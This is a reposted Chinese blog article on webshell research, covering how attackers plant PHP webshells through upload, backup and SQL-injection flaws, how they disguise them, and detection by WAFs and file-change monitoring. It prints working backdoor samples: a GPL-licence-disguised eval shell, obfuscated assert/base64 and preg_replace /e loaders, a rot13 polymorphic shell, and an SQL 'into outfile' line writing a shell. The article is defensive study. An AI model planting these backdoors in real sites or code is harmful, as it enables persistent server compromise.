首頁 php教程 php手册 转发 PHP 资料(一)

转发 PHP 资料(一)

Jun 06, 2016 pm 07:45 PM
cms php webshell 偵測 資料 轉發

作为WebShell检测、CMS修复、WebShell攻防研究学习的第二篇文章 本文旨在研究Webshell的生成原因、WebShell和服务器安全的关系、针对WebShell生成的文件磁盘操作的行为检测。希望能给研究这一领域的朋友带来一点点帮助,同时抛砖引玉,和大家共同讨论更多的

作为WebShell检测、CMS修复、WebShell攻防研究学习的第二篇文章

本文旨在研究Webshell的生成原因、WebShell和服务器安全的关系、针对WebShell生成的文件磁盘操作的行为检测。希望能给研究这一领域的朋友带来一点点帮助,同时抛砖引玉,和大家共同讨论更多的技术细节, 共同学习成长

http://www.cnblogs.com/LittleHann/p/3522990.html

 

<span>文章主要分为3个部分:
</span><span>1</span><span>. WebShell的产生原因、以及常见的WebShell隐藏手段
</span><span>2</span><span>. WebShell的对抗方法
</span><span>3</span>. 文件磁盘的行为监控在WebShell对抗中的应用
登入後複製

 

 

 

相关学习资料

http://safe.it168.com/a2012/0619/1362/000001362350.shtml

http://blog.sucuri.net/2013/08/open-source-backdoor-copyrighted-under-gnu-gpl.html
http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
http://blog.sucuri.net/2013/10/backdoor-evasion-using-encrypted-content.html
http://www.oschina.net/p/falcon/similar_projects?lang=19&sort=time&p=4
http://www.oschina.net/p/inotify-tools
http://www.freebuf.com/articles/web/11878.html
http://sec.chinabyte.com/35/12736535.shtml

http://www.oschina.net/p/snare
http://docs.trendmicro.com/all/smb/wfbs-services/Client/wfbs-svc/v3.7/zh-CN/ClientHelp/About_Behavior_Monitoring.htm
http://www.jiayf.com/tech/1078.html
http://www.360doc.com/content/11/0415/15/2630460_109844571.shtml

http://www.freebuf.com/articles/web/23358.html

https://github.com/emposha/PHP-Shell-Detector
http://www.freebuf.com/tools/3939.html

http://www.google.com/patents/CN103294952A?cl=en

http://www.91ri.org/2440.html

http://resources.infosecinstitute.com/web-shell-detection/
https://bechtsoudis.com/hacking/detect-protect-from-php-backdoor-shells

 

 

 

 

1. WebShell的产生原因、以及常见的WebShell隐藏手段

http://www.cnblogs.com/LittleHann/p/3522990.html

webshell是往往是黑客通过web漏洞、FTP漏洞、WEB容器(IIS、Apache)等漏洞入侵了目标服务器,并在其WEB目录放置了后门的可执行脚本,用于下次继续入侵准备的。我总结了webshell的生成主要和一下几个方面的漏洞导致的,我们在对webshell攻防、服务器加固安全的时候也可以从这个角度去思考

转发 PHP 资料(一)

<span>1</span><span>. Web软件开发的安全
    </span><span>1</span><span>) 程序中存在文件上载的漏洞,攻击者利用漏洞上载木马程序文件
        </span><span>1.1</span><span>) FCK文件上传漏洞,攻击者直接上传webshell,前提是这个网站允许上传类型为.php、.asp、.php.rar的文件,或者黑客通过其他的方式(例如XSS)恶意修改了允许上传文件<br>        扩展的设置
            http:</span><span>//</span><span>localhost/fckeditor/editor/filemanager/browser/default/connectors/test.html</span>
            http:<span>//</span><span>localhost/fckeditor/editor/filemanager/upload/test.html</span>
            http:<span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/test.html</span>
            http:<span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/uploadtest.html </span>
        <span>1.2</span>) FCK任意目录生成漏洞,攻击者生成/xx.asp/<span>目录,然后再往这个目录下上传任意扩展后缀的文件,这些任意扩展后缀的文件都会被当作.asp来进行执行
        http:</span><span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp<br>        &NewFolderName=z&uuid=1244789975684</span>
<span>          (这个指令可以在images文件夹下建立/shell.asp/文件夹)
    </span><span>2</span><span>) 后台数据库备份及恢复代码逻辑存在漏洞
        </span><span>2.1</span>) 利用后台对access数据库的<span>"</span><span>备份数据库</span><span>"</span>或<span>"</span><span>恢复数据库</span><span>"</span>功能,<span>"</span><span>备份的数据库路径</span><span>"</span><span>等变量没有过滤导致可以把任意文件后缀改为asp,从而得到WebShell
        (大概利用方式如下:)
            </span><span>2.1</span>.<span>1</span><span>) 我们将一个webshell的.php文件修改后缀,改成目标网站允许上传的文件扩展类型(例如.rar)
            </span><span>2.1</span>.<span>2</span><span>) 将这个shell.rar(包含webshell代码的文件)文件上传到网站附件文件夹中(例如\uploads\)
            </span><span>2.1</span>.<span>3</span><span>) 利用网站后台的数据库备份功能,这里一般情况下程序会让我们输入源文件路径,以及目标文件路径(程序错误的信任了用户输入的源路径就是有效路径,造成信任边界问题)
            </span><span>2.1</span>.<span>4</span><span>) 我们在备份文件的源路径填写我们刚才上传的shell.rar,然后在目标文件路径填写\www\shell.php、或者\www\shell.asp
            </span><span>2.1</span>.<span>5</span><span>) 备份的过程本质上是文件复制,完成复制后,我们上传的webshell就得以执行了
    </span><span>2</span><span>) 防sql注入
        </span><span>2.1</span><span>) 攻击者通过SQL注入获取后台管理员的帐号和密码,进入后台后
            </span><span>2.1</span>.<span>1</span><span>) 利用网站后台的SQL执行功能进行getshell(DEDE、Discuz等CMS的后台可以执行包括写磁盘在内的任意SQL命令)
            </span><span>select</span> <span>"</span><span><?php eval($POST['op']); ?></span><span>"</span> into outfile <span>"</span><span>c:\\wamp\\www\\shell.php</span><span>"</span><span>;
            </span><span>2.1</span>.<span>2</span><span>) 利用后台的水印、头像、表情上传功能获取webshell。(要注意的是,大多数网站基本不允许上传.php、.asp后缀的文件。我们可以利用apache的解析漏洞<br>            上传xx.php.rar这样的文件是shell得以执行。或者手动在后台开启.php、.asp的文件扩展上传设置)
            </span><span>2.1</span>.<span>3</span>) 在后台修改<span>"</span><span>允许上传的附件扩展类型</span><span>"</span><span>。(这是一种逻辑后门的思路,我们可以设置一种比较少见的扩展,例如,添加.cdx扩展,这样可以保持一定的隐蔽性,<br>            同时让黑客能够顺利上传webshell)
    </span><span>3</span><span>) 防暴库
        </span><span>3.1</span><span>) 黑客通过爆库获得了网站后台的帐号和密码
        </span><span>3.2</span><span>) 黑客通过爆库直接获取了目标网站数据库的连接帐号和连接密码,直接进入数据库:
            </span><span>3.2</span>.<span>1</span><span>) 数据库rootkit: 数据后门触发器、数据库后门UDF等
            </span><span>3.2</span>.<span>2</span><span>) 利用phpmyadmin进行getshell
            </span><span>3.2</span>.<span>3</span>) 在数据库的某些表中方式<span>"</span><span>自动生成的webshell payload</span><span>"</span><span>: 例如一些CMS的动态模版语言,当访问这些模版的时候,就会从数据库中提取我们的webshell payload,<br>          进而进行写磁盘getshell
                http:</span><span>//</span><span>www.i0day.com/1403.html</span>
                http:<span>//</span><span>ha.cker.in/1006.seo</span>
<span>                (在数据库的dede_mytag表中留下后门webshell payload,每次访问mytag_js.php的时候就会自动在\plus\目录下生成webshell文件)
    </span><span>4</span><span>) 防COOKIES欺骗
        </span><span>4.1</span><span>) 利用XSS漏洞获取管理员的帐号和密码
        </span><span>4.2</span>) XSS+GETSHEL,基于XSS的webshell也是一种webshell的形式,只是这种webshell的服务端在<span>"</span><span>受害者的浏览器</span><span>"</span><span>上
        http:</span><span>//</span><span>www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/</span>
    <span>5</span><span>) 防跨站脚本攻击。
</span><span>2</span><span>. 服务器的安全和web服务器的安全
    </span><span>1</span><span>) 服务器做好各项安全设置,安装WAF、流量分析IDS<br>    (例如ModSecurity可以对HTTP流量进行恶意检测,方式webshell的打入、以及即使webshell已经存在了还可以阻止webshell的执行)
      http:</span><span>//</span><span>www.freebuf.com/articles/web/18084.html</span>
    <span>2</span><span>) 提升web服务器的安全设置
        </span><span>2.1</span><span>) WEBDEV可写,黑客可以利用iisput等工具上传webshell文件
        </span><span>2.2</span><span>) 文件系统的ACL控制,对web目录的账户读写权限进行严格控制
        http:</span><span>//</span><span>www.e7xue.com/thread-28168-1-1.html</span>
    <span>3</span><span>) 对以下命令进行权限控制(以windows为例)
        </span><span>3.1</span><span>) cmd.exe 
        </span><span>3.2</span><span>) net.exe 
        </span><span>3.3</span><span>) net1.exe 
        </span><span>3.4</span><span>) ping.exe 
        </span><span>3.5</span><span>) netstat.exe 
        </span><span>3.6</span><span>) ftp.exe 
        </span><span>3.7</span><span>) tftp.exe 
        </span><span>3.8</span><span>) telnet.exe
    (安全狗的一个很重要的功能就是对这些关键的命令(程序)进行限制和监控)
</span><span>3</span><span>. ftp文件上载安全
    </span><span>1</span><span>) FTP匿名访问: 设置好ftp服务器,防止攻击者直接使用FTP上传木马程序文件到web程序的目录中
    </span><span>2</span><span>) FTP弱口令破解: 黑客利用FTP的弱口令进行字典破解,上传webshell
</span><span>4</span><span>. 文件系统的存储权限
    </span><span>1</span><span>) 设置好web程序目录及系统其它目录的权限,相关目录的写权限只赋予给超级用户,部分目录写权限赋予给系统用户
    </span><span>2</span><span>) 不要使用root权限去运行mysql、apache等服务器。而使用特殊配置过的指定账户来运行这些web容器软件
</span><span>5</span><span>. 不要使用超级用户运行web服务
    </span><span>1</span>) 对于apache、tomcat等web服务器,安装后要以系统用户或指定权限的用户运行,如果系统中被植入了asp、php、jsp等木马程序文件,以超级用户身份运行,webshell提权后<br>    获得超级用户的权限进而控制整个系统和计算机
登入後複製

转发 PHP 资料(一)

以上总结了我所遇到的WEB攻击方式,这些攻击方式适用于不同的攻击场景,并且往往不是单独存在的,即它们往往会互相成为前提条件,一个漏洞的产生为另一个漏洞的触发提供了基本条件。

 

了解了WEBSHELL的入侵方式,我们接下来学习一下webshell的隐藏技巧,黑客在入侵了一台主机之后,会在这台主机上留下不止一个webshell,并尽可能地散步在不同的目录下,即使管理员通过发现了其中的一部分webshell并予以删除,只要服务器上还存在一个隐藏的很深的webshell,黑客就可以利用这个webshell进行再次入侵。

转发 PHP 资料(一)

<span>webshell的隐藏、伪装技巧
</span><span>1</span><span>. 改默认密码
</span><span>2</span>. 改名,融入上传后所在的文件夹,将名字改得较为<span>"</span><span>普通</span><span>"</span><span>(例如indexi.php),让人很难直观地看出文件的异常。
</span><span>3</span><span>. 文件大小的伪装处理(像正常脚本)
</span><span>4</span><span>. 将webshell的payload代码插入到网站原本的正常.php文件中(插入法),普通的正则匹配很难发现这种webshell
</span><span>5</span><span>. webshell文件混淆:
    </span><span>1</span><span>) 变量名混淆
    </span><span>2</span><span>) 插入大量无用的随机字符串
</span><span>6</span><span>. 变形
    </span><span>1</span>) 仿照一些标准、正常的文件名。例如在Joomla的目录下放置LICESNE.php这种<span>"</span><span>不容易引起视觉可疑</span><span>"</span><span>的文件名,并且这些文件的内容都极其类似正常的LICENCE文件
    http:</span><span>//</span><span>blog.sucuri.net/2013/08/more-creative-backdoors-using-filename-typos.html</span>
    http:<span>//</span><span>blog.sucuri.net/2013/08/open-source-backdoor-copyrighted-under-gnu-gpl.html</span>
    <span>php
    </span><span>/*</span><span>            GNU GENERAL PUBLIC LICENSE
    TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    ..

    GNU GENERAL PUBLIC LICENSE
    Version 2, June 1991

    </span><span>*/</span>Copyright3_6_56()<span>/*</span><span> 1989, 1991 Free Software Foundation, Inc.
                  675 Mass Ave, Cambridge, MA 02139, USA
     Everyone is permitted to copy and distribute verbatim copies
     of this license document, but changing it is not allowed.

    Preamble

      The licenses for most software are designed to take away your
    freedom to share and change it. By contrast, the GNU General Public
    License is intended to guarantee your freedom to share and change free
    software--to make sure the software is free for all its users. This
    General Public License applies to most of the Free Software
    Foundation's software and to any other program whose authors commit to
    using it. (Some other Free Software Foundation software is covered by
    the GNU Library General Public License instead.) You can apply it to
    your programs, too.</span><span>*/</span>?><span>


    Joomla</span>! derives <span>from</span><span> copyrighted works licensed under the GNU General
    Public License.  This version has been modified pursuant to the
    GNU General Public License </span><span>as</span> of September <span>15</span>, <span>2005</span>, and <span>as</span><span> distributed,
    it includes or </span><span>is</span><span> derivative of works licensed under the GNU General
    Public License or other free or open source software licenses.  Please
    see the CREDITS.php </span><span>for</span> a non-<span>exhaustive list of contributors and
    copyright holders.  A full text version of the GNU GPL version </span><span>2</span><span> can be
    found </span><span>in</span><span> the LICENSE.php file.  A full text version of the other licenses
    that Joomla</span>! <span>is</span> derivative of or includes can be found <span>in</span><span> LICENSES.php.

    </span><span> php
    Copyright3_6_56();
    function Copyright3_6_56(){
    </span><span>static</span> $gnu = <span>true</span><span>;
    </span><span>if</span>(!$gnu) <span>return</span><span>;
    </span><span>if</span>(!isset($_REQUEST[<span>'</span><span>gnu</span><span>'</span>])||!isset($_REQUEST[<span>'</span><span>c_id</span><span>'</span>]))<span>return</span><span>;
    $gpl</span>=implode(<span>''</span>, $_REQUEST[<span>'</span><span>gnu</span><span>'</span><span>]);
    eval ($gpl( $_REQUEST[</span><span>'</span><span>c_id</span><span>'</span><span>]));
    $gnu</span>=<span>false</span><span>;
    }
    </span>?><br>
    <span>2</span><span>) 执行函数变形
    </span><span>php
        $_</span>=<span>""</span><span>;
        $_[</span>+$_]++<span>;
        $_</span>=$_.<span>""</span><span>;
        $___</span>=$_[+<span>""</span>];<span>//</span><span>A</span>
        $____=<span>$___;
        $____</span>++;<span>//</span><span>B</span>
        $_____=<span>$____;
        $_____</span>++;<span>//</span><span>C</span>
        $______=<span>$_____;
        $______</span>++;<span>//</span><span>D</span>
        $_______=<span>$______;
        $_______</span>++;<span>//</span><span>E</span>
        $________=<span>$_______;
        $________</span>++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;<span>//</span><span>O</span>
        $_________=<span>$________;
        $_________</span>++;$_________++;$_________++;$_________++;<span>//</span><span>S</span>
        $_=$____.$___.$_________.$_______.<span>'</span><span>6</span><span>'</span>.<span>'</span><span>4</span><span>'</span>.<span>'</span><span>_</span><span>'</span><span>.$______.$_______.$_____.$________.$______.$_______;
        $________</span>++;$________++;$________++;<span>//</span><span>R</span>
        $_____=<span>$_________;
        $_____</span>++;<span>//</span><span>T</span>
        $__=<span>$___.$_________.$_________.$_______.$________.$_____;
        $__($_(</span><span>"</span><span>ZXZhbCgkX1BPU1RbMV0p</span><span>"</span><span>));   
        </span><span>//</span><span>ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));
        </span><span>//</span><span>ASSERT("eval($_POST[1])");
        </span><span>//</span><span>key:=1</span>
        ?><span>
        类似的还有
        http:</span><span>//</span><span>blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html<br></span>
    <span>3</span><span>) 执行代码变形(payload变形)
        </span><span>2.1</span><span>) 将webshell的执行代码payload编码成base64的格式: bypass本地特征码检测软件
        </span><span>2.2</span><span>) 将webshell的执行代码payload使用加密算法(例如RSA1024)
        http:</span><span>//</span><span>blog.sucuri.net/2013/10/backdoor-evasion-using-encrypted-content.html</span>
            <span>2.2</span>.<span>1</span><span>) 私钥和文件保存在一起: bypass网络流量恶意检测软件,因为这样就可以直接在网络中传输密文。缺点是对于本地文件来说,解密当前webshell加密算法的key是暴露的
            </span><span>2.2</span>.<span>2</span><span>) 私钥和通过网络流量传输的命令放在一起: bypass本地特征码检测软件,在本机文件中不出现解密密文的key,保证了本地webshell文件的保密性。缺点是在网络流量中<br>            出现了key,通过流量分析可以截获并解密之
        
    </span><span>4</span><span>) 执行函数和执行代码同时变形
    </span><span>php
        $aaaaa</span>=<span>"</span><span>sewtemznypianol</span><span>"</span><span>;
        $char_system</span>=$aaaaa{<span>0</span>}.$aaaaa{<span>8</span>}.$aaaaa{<span>0</span>}.$aaaaa{<span>3</span>}.$aaaaa{<span>1</span>}.$aaaaa{<span>5</span><span>};
        </span><span>//</span><span>die($char_system);</span>
        $aaaaaa=<span>"</span><span>edoced46esab_n</span><span>"</span><span>;
        $char_base64_decode</span>=$aaaaaa{<span>11</span>}.$aaaaaa{<span>10</span>}.$aaaaaa{<span>9</span>}.$aaaaaa{<span>8</span>}.$aaaaaa{<span>7</span>}.$aaaaaa{<span>6</span>}.$aaaaaa{<span>12</span>}.$aaaaaa{<span>5</span>}.$aaaaaa{<span>4</span>}.$aaaaaa{<span>3</span><span>}.
       $aaaaaa{</span><span>2</span>}.$aaaaaa{<span>1</span>}.$aaaaaa{<span>0</span><span>};
        die($char_base64_decode);
        echo $char_system($char_base64_decode(</span><span>"</span><span>aXBjb25maWc=</span><span>"</span><span>));
    </span>?><br>
<span>7</span><span>. 加花
    </span><span>1</span>) 在webshell代码中加入一些随机字符串等混淆因子,可以绕过一部分<span>"</span><span>基于正则</span><span>"</span><span>的检测软件
    </span><span>php
        $subject</span>=<span>'</span><span>any_thing_you_can_write</span><span>'</span><span>;
        $pattern</span>=<span>"</span><span>/^.*$/e</span><span>"</span><span>;
        $payload</span>=<span>'</span><span>cGhwaW5mbygpOw==</span><span>'</span><span>;
        </span><span>//</span><span>cGhwaW5mbygpOw==: "phpinfo();"</span>
        $replacement=pack(<span>'</span><span>H*</span><span>'</span>, <span>'</span><span>406576616c286261736536345f6465636f646528</span><span>'</span>).<span>"</span><span>\"$payload\"))</span><span>"</span><span>;
        </span><span>//</span><span>406576616c286261736536345f6465636f646528: "eval(base64_decode(";</span>
<span>        preg_replace($pattern, $replacement , $subject);
    </span>?><br>
<span>8</span><span>. 多态
    </span><span>1</span><span>) 在实际的webshell开始执行前,典型的对传入的参数做一些判断,只有匹配条件时才会进入真正的执行路径。
    这种多态技术不仅可以躲过一些正则webshell检测系统,还可以避免被某些动态沙箱的检测软件捕获到(因为动态沙箱很难模拟出这个webshell脚本所需要的</span><span>"</span><span>启动参数</span><span>"</span><span>)
    </span><span>php
        </span><span>if</span>($_REQUEST[<span>"</span><span>code</span><span>"</span>]==<span>pany)
        {
        echo str_rot13(</span><span>'</span><span>riny($_CBFG[pzq]);</span><span>'</span><span>);
        eval(str_rot13(</span><span>'</span><span>riny($_CBFG[pzq]);</span><span>'</span><span>));
        }
        </span><span>else</span><span>
        {
        $url </span>= $_SERVER[<span>'</span><span>PHP_SELF</span><span>'</span><span>];
        $filename </span>= end(explode(<span>'</span><span>/</span><span>'</span><span>,$url));
           
        $content </span>= <span>'</span><span>helloworld</span><span>'</span><span>;
        $fp </span>= fopen (<span>"</span><span>$filename</span><span>"</span>,<span>"</span><span>w</span><span>"</span><span>);
        </span><span>if</span><span> (fwrite ($fp, $content))
        {
            fclose ($fp);
            die (</span><span>"</span><span>error</span><span>"</span><span>);
        }
        </span><span>else</span><span>
        {
            fclose ($fp);
            die (</span><span>"</span><span>good</span><span>"</span><span>);
        }
        exit;
        }
    </span>?>
登入後複製

转发 PHP 资料(一)

以上提到的都是几种webshell的隐藏思路,这是目前webshell对抗领域的一个很重要的问题:

<span>1</span>. 很多新增的webshell是通过老webshell上传的,<span>"</span><span>重感染</span><span>"</span><span>现象严重
</span><span>2</span><span>. 一些老的、之前已经存在的webshell由于做了很好的隐藏工作,不容易被发现,只要某台服务器上还存在一个webshell,那这个服务器就永远处在被入侵的状态,新的webshell还会不断<br>  生成(甚至包括变态的SEO大马)
</span><span>3</span>. 这些老的webshell的检测依靠入侵监控是无法发现的,因为它们往往是在部署入侵监控系统之前就存在的,必须依靠<span>"</span><span>特征规则扫描</span><span>"</span>在受感染的服务器上进行扫描,将这些<span>"</span><span>隐藏</span><span>"</span>的<br>  webshell抓出来,并删除之,才能一劳永逸地修复这台服务器
登入後複製

 

 

 

 

 

 

 

 

 

2. WebShell对抗方法

在谈及WebShell对抗技术,我个人觉得这是一个综合性的问题,webshell并不仅仅是脚本的编写技巧、隐藏技巧这样的单方面的问题,而应该从整个服务器安全对抗、加固的角度去思考怎么样全方位的防御黑客的攻击

转发 PHP 资料(一)

<span>思考:
整个服务器安全、webshell对抗体系如下:
</span><span>1</span><span>. 最根源的问题: WEB系统的代码安全,我们根据不同的漏洞文件(例如mytag_js.php)给出相应的修复方案,帮助客户自动对CMS系统进行修复
</span><span>2</span><span>. 除了CMS系统的漏洞导致的GETSHELL,对FTP弱口令、FTP匿名可写、3389爆破、SSH若口令等系统级别的安全设置这个角度帮助用户加固主机
</span><span>3</span><span>. 做到以上这些步骤,还是不能保证主机不被入侵(0DAY、密码泄漏等威胁依然存在),还必须在客户的服务器设置可疑行为监控程序,对可疑的文件操作行为进行监控、并上报到服务端进行<br>  确诊检测
</span><span>4</span>. 服务端采用PHP动态沙箱技术对上报上来的脚本文件进行<span>"</span><span>模拟执行恶意性检测</span><span>"</span><span>,确定其是否为webshell
</span><span>5</span>. 做到了以上几部后,基本可以防御住新的webshell的生成,但是还要考虑到一个问题,很多的新增webshell是因为之前被入侵后在服务器上留下的老webshell导致的,我们要彻底修复<br>  客户的服务器,就必须对这些现存的老webshell rootkit进行扫描,并清除之
登入後複製

转发 PHP 资料(一)

具体的实施方法如下:

转发 PHP 资料(一)

<span>webshell对抗手段:
</span><span>1</span><span>. 代码审计
    </span><span>1</span><span>) 代码层、WEB层面的安全审计永远是WEB安全的最根本、最有效的方法。一个健壮的WEB系统能够抵御来自黑客的各种攻击,使系统远离GETSHELL的可能
    </span><span>2</span><span>) 定期的代码补丁(例如CMS定期的补丁发布)
</span><span>2</span><span>. 人工加固
    </span><span>1</span><span>) 对ftp进行权限设置,取消匿名访问。
    </span><span>2</span><span>) 对目录进行权限设置,不同网站使用不同的用户权限
        说明:
        IIS可以针对不同的网站使用不同的虚拟路径(也可以理解为虚拟主机),不同的虚拟主机之间可以单独设置路径权限信息
    </span><span>3</span><span>) 对系统盘的敏感目录及文件进行权限设置,提高系统安全性
        说明:
        系统加固的范畴,主要是对指定的敏感路径的ACL进行设置
    </span><span>4</span><span>) 定期更新服务器补丁,定期更新杀毒软件。
</span><span>3</span><span>. 部署Web防火墙 
      </span><span>1</span><span>) 可针对WebShell上传,进行控制、过滤与阻断;
      </span><span>2</span><span>) 实时阻断入侵者利用SQL注入、XSS攻击、缓冲区溢出攻击等获得web站点的目录修改权限
        </span><span>2.1</span><span>) WAF的功能,对GET、POST等HTTP中的敏感关键字进行检测
        </span><span>2.2</span>) WAF的0DAY规则库来自目前CMS的一些已知的、未知的POC攻击方法,每种POC都会有一个相对固定的<span>"</span><span>攻击特征</span><span>"</span><span>(表现在GET、POST数据包中就是一些特征字符串),<br>        通过搜集这些POC,编写相应的正则规则,在WAF端进行阻断拦截
      </span><span>3</span><span>) 支持对WebShell访问返回页面进行内容检测,切断入侵者企图调用访问WebShell的行为
        </span><span>3.1</span><span>) 安全宝、加速乐就有这样的功能
        </span><span>3.2</span>) ModSecurity的<span>"</span><span>链式检测</span><span>"</span>逻辑中,可以检测包括<span>"</span><span>服务器返回流量</span><span>"</span><span>在内的数据内容,当发现外流数据中有敏感信息的数据,予以阻断
      </span><span>4</span><span>) 支持实时检测过滤WebShell发起的各种攻击命令,阻断:
        </span><span>4.1</span><span>) 利用WebShell发起的挂马(现在主要是SEO暗链)
        </span><span>4.2</span><span>) 文件下载
        </span><span>4.3</span><span>) 端口扫描
        </span><span>4.4</span><span>) 内容篡改等各种攻击和非法操作
    (包括安全狗在内的防护软件都会有针对敏感指令(程序)的监控、以及API拦截)
</span><span>4</span><span>. 定期运行杀软
针对webshell的杀软和传统的二进制病毒的杀软在实现原理上有一些区别,针对webshell的杀软主要是基于特征码匹配的技术(常常是正则匹配)
    </span><span>1</span>) http:<span>//</span><span>www.d99net.net/  D盾</span>
    <span>2</span><span>) WebshellAutoCheck  
</span><span>5</span><span>. 目录监控
不管WEB漏洞的形式千变万化,webshell的写入方式不外乎两种: 写文件、修改文件。而这些操作都会引发文件系统的读写操作,我们可以对这些行为进行监控,区分出正常的业务操作和可疑<br>的黑客攻击行为。windows为实现这一需求提供了3个API
    </span><span>1</span>) http:<span>//</span><span>msdn.microsoft.com/en-us/library/windows/desktop/ms687025(v=vs.85).aspx</span>
<span>    WaitForMultipleObjects function
    </span><span>2</span>) http:<span>//</span><span>msdn.microsoft.com/en-us/library/windows/desktop/aa365465(v=vs.85).aspx</span>
<span>    ReadDirectoryChangesW function
    </span><span>3</span>) http:<span>//</span><span>msdn.microsoft.com/en-us/library/windows/desktop/bb762120(v=vs.85).aspx</span>
<span>    SHChangeNotifyRegister function
</span><span>6</span><span>3</span>)继续学习)
登入後複製

转发 PHP 资料(一)

目录监控

 

 

 

 

 

 

 

 

3.  文件磁盘的行为监控在WebShell对抗中的应用

在学习研究文件操作的可疑行为的时候,我觉得这个技术从原理上和"入侵检测"系统有很多相似之处,都是对用户系统上的某些"运行参数(文件操作、网络、API调用等都算运行参数)"进行建模,并分析其可疑性。于是,我google了一些关于入侵检测系统的相关,这里也一并分享出来。

http://www.oschina.net/p/snare
http://docs.trendmicro.com/all/smb/wfbs-services/Client/wfbs-svc/v3.7/zh-CN/ClientHelp/About_Behavior_Monitoring.htm
http://www.jiayf.com/tech/1078.html
Snort 网络入侵检测系统 Snort 介绍
http://www.360doc.com/content/11/0415/15/2630460_109844571.shtml

<span>入侵检测技术分类
从技术上讲,入侵检测技术大致分为以下几类:
</span><span>1</span><span>. 基于知识的模式识别(常常是正则规则匹配特征): 也叫特征检测法
</span><span>2</span><span>. 基于知识的异常识别(更多的是行为模式的检测): 多维度的综合判断(有时会结合概率统计的技术)
</span><span>3</span>. 协议分析
登入後複製

在这类入侵检测系统中,我感觉这里有一个问题需要注意就是: <span>"</span><span>可管理性</span><span>"</span>,或者叫<span>"</span><span>可配置型</span><span>"</span>
<span>1</span>. 对于<span>"</span><span>正则类型的特征值检测技术</span><span>"</span><span>的产品来说,规则相对较为容易地抽象成一个个配置文件,可配置型和扩展性很好。因为它们的规则从作用域上来说一个个单独的点<br>  (这里的点指的这条规则就只对一个较小的范围区域进行匹配检测)
</span><span>2</span>. 对于<span>"</span><span>行为模式检测类型</span><span>"</span>的产品来说,它所应用的<span>"</span><span>规则模型</span><span>"</span>往往较复杂,基本上不会是一条、或者两条正则能说明的。而是一个个的<span>"</span><span>是否满足某条件</span><span>"</span>的模式判断,通过这些条件的判断来<br>  对当前行为的模式进行分类和判断。所以,这类产品很难抽象出一个单纯的规则配置文件,而是要把规则和代码混编在一起写,即规则隐含在代码逻辑中
登入後複製

在看资料的时候,其中有几条对我启发很大

转发 PHP 资料(一)

<span>几种异常识别的检测方法
</span><span>1</span><span>. 基于审计的攻击检测技术
这种检测方法是通过对审计信息的综合分析实现的,其基本思想是:
    </span><span>1</span><span>) 根据用户的历史行为、先前的证据或模型,使用统计分析方法对用户当前的行为进行检测和判别。这是一种结合历史信息的迭代识别思想
        </span><span>1.1</span><span>) 时间维度的判断,根据某个事件发生的之前的时间段内相同事件的发生情况
        </span><span>1.2</span><span>) 关联性维度的判断,判断当前发生的事件和之前发生的事件之间的关联性,是独立事件、还是关联事件
    </span><span>2</span><span>) 当发现可疑行为时,保持跟踪并监视其行为,同时向系统安全员提交安全审计报告

</span><span>2</span><span>. 基于神经网络的攻击检测技术
神经网络这块的学术研究转化为实际可用的技术目前还并不多,还有待研究

</span><span>3</span><span>. 基于专家系统的攻击检测技术(基于安全人员经验的攻击检测技术)
专家系统就是一个依据专家经验定义的推理系统,这种检测是建立在专家经验基础上的,它根据专家经验进行推理判断得出结论。而这个判断的依据往往专家结合自身的安全经验得出<br>的</span><span>"</span><span>实践性数据</span><span>"</span><span>,虽然没有理论支撑,但是具有合理性,能够起到很好的效果
例如:
    </span><span>1</span><span>) 当用户连续3次登录失败时,可以把改用户的第4次登录行为视为攻击行为
    </span><span>2</span><span>) 当某个目录下突然出现一个创建时间和其他文件明显不一致的文件时,可以把这个文件视为一个可疑webshell

</span><span>4</span><span>. 基于模型推理的攻击检测技术
攻击者在入侵一个系统时往往采用一定的行为程序,如猜测口令的程序,这种程序引发的行为构成了某种具有一定行为特征的模型,根据这种模型所代表的攻击意图的行为特征,可以实时地<br>检测出恶意的攻击企图。例如
    </span><span>1</span><span>) WEB扫描器在扫描网站时在日志中留下的访问记录就具有某些目录遍历的特征
    </span><span>2</span><span>) dede在每日更新cache的时候对文件的access、modify也会表现出顺序,时间间隔等特征
    </span><span>3</span>) 黑客在利用poc修改style_x.php的时候也会表现出不同于cache更新的访问特征
登入後複製

转发 PHP 资料(一)

综合了以上知识,我觉得入侵检测的思想可以移植到webshell的对抗上来。

<span>黑客GETSHELL的途径只有两种途径:
    </span><span>1</span><span>) 写磁盘
    </span><span>2</span><span>) 修改已存在的.php文件
所以我们只要捕获: 文件创建操作、文件修改操作这两种行为即可</span>
登入後複製

而这里的问题在于网站的正常运行也是会产生文件读写操作的,我们要做的就是对"正常的业务操作引发的文件操作"和"黑客的攻击行为导致的文件操作"进行二值区分,找到它们模式上的不同,使用统计、分类的方法区分出两种行为模式上的区别,就达到了可疑GETSHELL行为的监控、检测的目的了。

目前,根据我的研究和实验,我对可疑行为的理解如下:

转发 PHP 资料(一)

<span>1</span><span>. 如果这个新创建的文件的创建时间和当前目录下的其他文件的创建时间差很多,则判定为可疑,getshell大部分都是通过写新文件得到的
</span><span>2</span><span>. 这是为了防御那种针对.config配置文件的写入,把后门代码插入到.config中进行getshell的。如果本次的修改文件的时间和创建时间差别太大,则判定为可疑文件
</span><span>3</span><span>. 因为黑客的写磁盘getshell一般都是在网站主程序安装完成,开始运行之后才进行的,所以这个基于创建时间的判断维度能比较有效的区分出正常操作和黑客的getshell
</span><span>4</span><span>. 而网站的主代码文件一般在程序安装完毕,上线运行之后就不会轻易被修改了,如果出现了被修改文件的修改时间和创建时间差别很大,即判定为可疑行为,即使是用户自己去主动修改这些<br>  代码文件(例如打补丁等),这种情况并不是常常发生,在可以允许的误报范围之内
